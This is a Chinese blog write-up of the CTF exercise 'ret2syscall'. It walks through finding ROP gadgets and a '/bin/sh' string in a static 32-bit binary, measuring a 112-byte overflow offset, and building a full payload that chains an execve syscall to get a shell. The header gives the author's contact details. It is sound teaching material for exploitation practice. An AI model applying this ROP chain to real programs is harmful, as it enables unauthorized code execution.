ret2syscall
博客网址:www.shicoder.top
微信:18223081347
欢迎加群聊天 :452380935
这一次我们来深入分析下更难的栈溢出题目ret2syscall
首先还是先检查下的保护
[*] '/home/pwn/桌面/题目/ROP/ret2syscall'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)
可以看到开启了栈不可以执行保护,不能在栈上覆盖我们的shellcode,那去看下是不是和ret2shellcode
有一个bss段可以执行呢?,我们去看下IDA
反编译的结果
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [esp+1Ch] [ebp-64h]setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("This time, no system() and NO SHELLCODE!!!");puts("What do you plan to do?");gets(&v4);return 0;
}
感觉没有可以使用的bss段呢,但我们打开IDA
发现,它的函数窗口怎么这么多函数呀,但main
函数完全没有使用很多呢,那它是不是静态链接的呀,于是使用file查看下
ROP$ file ret2syscall
ret2syscall: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
看来是静态链接,那好办了,就是我们熟悉的ROP
思想了,下面我简单说下这个思想是什么意思
首先我们知道最终是要程序执行execve("/bin/sh")
这段代码,就可以得到shell
,那这个函数其实就是一个系统调用,对应的反汇编代码如下
mov eax, 0xb
mov ebx, [“/bin/sh”]
mov ecx, 0
mov edx, 0
int 0x80
因此下面这个图展示栈溢出的原理
那是不是我们溢出的栈中,只要包含这几句代码,然后让他挨着执行,那是不是类似我们执行了execve("/bin/sh")
呢,而且注意到这个程序是静态链接,那肯定有很多库被引进来了,所以找到这些代码片段应该不是很难,那怎么找呢,有一个指令ROPgadget
ROP$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
比如我们想找到pop eax;ret
这行代码,上面看到有这么多,那选0x080bb196
。
同样我们需要找到pop ebx;ret
,
ROP$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
看到有一行0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
,这刚好完全,那就这一条把
那还有一个,我们需要/bin/sh
这个字符串呢,同样
ROPgadget --binary ret2syscall --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh
最后就是int0x80的地址,同样
ROPgadget --binary ret2syscall --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80Unique gadgets found: 1
当然这道题就是完全巧合,正常题目不可能这样,这里就是熟悉下,hhh
现在把执行execve("/bin/sh")
的汇编代码完全找到了,那其实就是将这些代码挨着进行栈覆盖,让eip
不断的在这几行汇编跳转执行,最终实现execve("/bin/sh")
。
那exp
怎么写呢,先直接看下payload
把
pop_eax_ret= 0x080bb196
pop_edx_ecx_ebx_ret= 0x0806eb90
bin_sh_adr=0x080be408
int0x80_adr=0x08049421payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)
首先还是用IDA
看下需要覆盖多少字节
pwndbg> stack 40
00:0000│ esp 0xffffd100 —▸ 0xffffd11c ◂— 'AAAAAAAA'
01:0004│ 0xffffd104 ◂— 0x0
02:0008│ 0xffffd108 ◂— 0x1
03:000c│ 0xffffd10c ◂— 0x0
04:0010│ 0xffffd110 ◂— 0x1
05:0014│ 0xffffd114 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
06:0018│ 0xffffd118 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
07:001c│ eax 0xffffd11c ◂— 'AAAAAAAA'
... ↓
09:0024│ 0xffffd124 —▸ 0xffffd200 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
0a:0028│ 0xffffd128 ◂— 0x8000
0b:002c│ 0xffffd12c —▸ 0x8048b36 (init_cacheinfo+86) ◂— test eax, eax
0c:0030│ 0xffffd130 ◂— 0x28 /* '(' */
0d:0034│ 0xffffd134 ◂— 0x1
0e:0038│ 0xffffd138 ◂— 0x16
0f:003c│ 0xffffd13c ◂— 0x8000
10:0040│ 0xffffd140 —▸ 0x80da404 (__EH_FRAME_BEGIN__) ◂— adc al, 0
11:0044│ 0xffffd144 —▸ 0x80eaf84 (object) ◂— 0xffffffff
12:0048│ 0xffffd148 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
13:004c│ 0xffffd14c ◂— 0x1
14:0050│ 0xffffd150 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
15:0054│ 0xffffd154 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
16:0058│ 0xffffd158 ◂— 0x1
17:005c│ 0xffffd15c —▸ 0x8049612 (__libc_csu_init+130) ◂— add ebp, 1
18:0060│ 0xffffd160 ◂— 0x1
19:0064│ 0xffffd164 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1a:0068│ 0xffffd168 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│ 0xffffd16c ◂— 0x2
1c:0070│ 0xffffd170 —▸ 0x80ea078 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
1d:0074│ 0xffffd174 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
1e:0078│ 0xffffd178 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1f:007c│ 0xffffd17c —▸ 0x80481a8 (_init) ◂— push ebx
20:0080│ 0xffffd180 ◂— 0x0
21:0084│ 0xffffd184 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4]
22:0088│ ebp 0xffffd188 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx
23:008c│ 0xffffd18c —▸ 0x804907a (__libc_start_main+458) ◂— mov dword ptr [esp], eax
24:0090│ 0xffffd190 ◂— 0x1
25:0094│ 0xffffd194 —▸ 0xffffd214 —▸ 0xffffd3c7 ◂— 0x6d6f682f ('/hom')
26:0098│ 0xffffd198 —▸ 0xffffd21c —▸ 0xffffd3ef ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
首先需要覆盖0xffffd18c-0xffffd11c=112
个字节,然后就开始覆盖返回地址,我们要按照这个过程进行覆盖
那容易了呀,那不就是
payload='A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_adr)+p32(int0x80_adr)
有可能很多小伙伴不知道为什么要pop eax;ret
这样的,首先return address
为pop eax;ret
的地址,那么首先就是执行pop eax;ret
,分2步,第一步pop eax
,那么就把0xb
给eax
,然后ret
,就会到pop ebx;ret
这一个地方,那么后面就一样了,这里大家可以画一个动态图,自己好好理解下
ret2syscall相关推荐
- Ret2Syscall绕过NX、ASLR保护
Ret2Syscall,即控制程序执行系统调用,进而获取shell. 下面看看我们的vuln程序. 可以看出,程序中的gets有明显的 溢出漏洞 用gdb打开, 检查一下文件开启了哪些防护: 可以看出 ...
- ropgadgets与ret2syscall技术原理
程序: #include <stdio.h> #include <string.h> #include <sys/types.h> #include <uni ...
- pwn基本ROP——ret2syscall
ret2syscall 环境 原理 系统调用 利用方式 漏洞分析 使用`checksec`指令查看程序保护措施 使用IDA32位进行调试 payload 环境 ret2syscall 原理 系统调用 ...
- 【PWN】07.ret2syscall
参考:ret2syscall_Re1own的博客-CSDN博客 pwn小白入门05---ret2syscall_苏璃只想划水的博客-CSDN博客 ret2syscall,即通过ROP控制程序执行系统调 ...
- ROP简单 ret2syscall
开启的NX保护 写shellcode 是不可能的,也没有system等函数 存在溢出,算下偏移 变量与bp的距离就等于0x60 这个变量的开栈是根据sp开的 他距离sp0x1c 所以偏移就是 bp-s ...
- 缓冲区溢出-基本ROP-ret2syscall
本文视频: 如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514 基础知识: 我们在前面讲的ret2text,ret2shellcode, ...
- pwn学习总结(三) —— 栈溢出经典题型整理
pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...
- PWN-PRACTICE-BUUCTF-3
PWN-PRACTICE-BUUCTF-3 [OGeek2019]babyrop ciscn_2019_n_8 get_started_3dsctf_2016 jarvisoj_level2 [OGe ...
- Linux PWN从入门到熟练
最近在复习pwn的一些知识.主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode.此小片段就是g ...
最新文章
- C# 操作Excel之旁门左道 [ C# | Excel ]
- opengl加载显示3D模型ase类型文件
- dart系列之:你的地盘你做主,使用Extension对类进行扩展
- [转]详细介绍如何做关联
- jQuery: 操作select option方法集合
- python访问k8s的api_python过滤 Kubernetes api数据
- spark学习-SparkSQL--07-SparkContext类和SparkConf类
- Java基础学习总结(154)——Synchronized与Volatile、Synchronized与ReentrantLock概念及区别
- 1.5.2 编译java程序
- 显示隐藏-overflow(HTML、CSS)
- centos mysql5.7.17_在centos 7下安装mysql 5.7.17
- PHP学习记录(一)
- ESP32-CAM + micropython学习笔记
- MFC 获取窗口句柄
- 国际刑警组织来取经,阿里已成中国打假名片
- U3D[02.21]
- 真是绝了,做了这么多年程序员第一次搞懂微服务架构的数据一致性
- android中热更新模式,Android热更新与开启Instant Run
- R实战 | 山脊图(ridgeline plot)
- Android开发之连接实体手机进行开发的步骤 遇到的“an app is obsuring...“的问题及解决